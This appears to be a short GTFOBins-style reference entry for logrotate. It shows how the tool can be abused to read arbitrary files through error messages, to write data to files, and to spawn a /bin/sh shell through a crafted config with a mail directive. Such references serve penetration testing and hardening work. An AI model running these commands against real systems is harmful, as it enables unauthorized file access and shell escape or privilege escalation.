logrotate

File Read

The first word is returned in a error message.

logrotate /path/to/input-file

File Write

The content is written in a log file.

logrotate -l /path/to/output-file DATA

Shell

This command is picky about file permissions. An existing config file can be used as weel, provided that it contains a mail directive.

echo -e '/path/to/temp-file.config {\nmail x@x.x\n}' >/path/to/temp-file.config
echo '/bin/sh 0<&2 1>&2' >/path/to/temp-file.sh
logrotate -m /path/to/temp-file.sh -f /path/to/temp-file